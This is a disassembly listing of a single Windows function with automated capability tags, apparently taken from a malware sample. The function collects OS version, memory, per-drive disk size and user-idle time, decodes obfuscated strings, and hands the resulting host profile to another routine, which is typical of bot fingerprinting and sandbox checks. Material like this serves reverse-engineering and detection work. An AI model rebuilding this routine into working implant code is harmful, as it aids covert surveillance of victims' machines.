Function at 0x405a80
Capabilities:
Check for time delay via gettickcount
Get disk information
Get disk size
Get memory capacity
Get system information on windows
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x680
push ebx
push ebp
push esi
lea eax, [esp + 0x9c]
push edi
push eax
mov byte [esp + 0xa0], 0x66
mov byte [esp + 0x17e], 0
mov dword [esp + 0xa4], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0x490]
push pe_nt_image_headers32
push ecx
call fcn.00405840
xor edx, edx
add esp, 8
mov dword [esp + 0x28], edx
lea eax, [esp + 0x24]
mov dword [esp + 0x2c], edx
push eax
mov dword [esp + 0x34], edx
lea ecx, [esp + 0x2c]
mov dword [esp + 0x38], edx
mov edx, dword [esp + 0x69c]
push ecx
mov dword [esp + 0x2c], 0x10
mov eax, dword [edx + 0xa8]
push eax
call dword [0x41a140]
mov ecx, dword [esp + 0x2c]
lea esi, [esp + 0x490]
mov dword [esp + 0x144], ecx
mov ecx, 0xc
lea edi, [esp + 0x148]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.004056a0
lea edx, [esp + 0x78]
mov dword [esp + 0x13c], eax
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [esp + 0x8c]
lea ecx, [esp + 0x58]
push ecx
mov dword [esp + 0x144], eax
mov dword [esp + 0x5c], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x60]
shr edx, 0x14
mov dword [esp + 0x180], edx
call fcn.00405800
mov ecx, dword [esp + 0x69c]
test eax, eax
setne al
mov byte [esp + 0x17a], al
mov dword [esp + 0x184], ecx
call fcn.004059d0
mov dword [esp + 0x17c], eax
call fcn.004058f0
lea edx, [esp + 0x38]
xor ebx, ebx
push edx
mov dword [esp + 0x35c], eax
mov dword [esp + 0x360], ebx
mov dword [esp + 0x3c], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [esp + 0x3c]
cmp eax, 0x2bf20
jbe 0x405bd9
mov dword [esp + 0x35c], 1
call esi
mov edi, eax
mov eax, 0x31b5d43b
imul edi
sar edx, 0x18
mov eax, edx
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
shr eax, 0x1f
add edx, eax
lea ecx, [esp + 0x364]
push edx
push 0x418238
push ecx
call esi
mov eax, edi
mov ecx, 0x5265c00
cdq
idiv ecx
mov eax, 0x4a90be59
lea ecx, [esp + 0x3d4]
mov edi, edx
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add edx, eax
push edx
push 0x418238
push ecx
call esi
mov eax, edi
mov ecx, 0x36ee80
cdq
idiv ecx
mov eax, 0x45e7b273
lea ecx, [esp + 0x444]
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edx, eax
push edx
push 0x418238
push ecx
call esi
lea edx, [esp + 0x450]
lea eax, [esp + 0x3ec]
push edx
lea ecx, [esp + 0x38c]
push eax
push ecx
lea edx, [esp + 0x208]
push 0x4187d8
push edx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
add esp, 0x38
xor esi, esi
mov al, bl
lea ecx, [esp + 0x18]
add al, 0x42
push ecx
mov byte [esp + 0x1c], al
mov byte [esp + 0x1d], 0x3a
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0
call edi
cmp eax, 3
jne 0x405ce1
lea edx, [esp + 0x48]
lea eax, [esp + 0x40]
push edx
lea ecx, [esp + 0x54]
push eax
lea edx, [esp + 0x20]
push ecx
push edx
call ebp
mov eax, dword [esp + 0x40]
mov edx, dword [esp + 0x44]
mov ecx, 0x14
call fcn.00413b60
add esi, eax
inc ebx
cmp ebx, 0x1a
jl 0x405c94
push str.O4VaNaY
mov dword [esp + 0x364], esi
call fcn.00405650
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x33a]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push pe_nt_image_headers32
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte [esp + 0x18], 0x44
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov byte [esp + 0x19], 0x65
and ecx, 3
mov byte [esp + 0x1a], 0x66
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x598]
mov byte [esp + 0x1b], 0x61
push ecx
mov byte [esp + 0x20], 0x75
mov byte [esp + 0x21], 0x6c
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
call fcn.00405940
add esp, 0xc
test eax, eax
jne 0x405d79
mov edx, str.6gkIBfkSqY
test edx, edx
je 0x405d73
push edx
call fcn.00405650
add esp, 4
jmp 0x405d80
lea eax, [esp + 0x10]
jmp 0x405d80
lea eax, [esp + 0x590]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x304]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x2c8
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa0]
push ecx
mov ecx, dword [esp + 0x6a0]
call fcn.00401b70
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x680
ret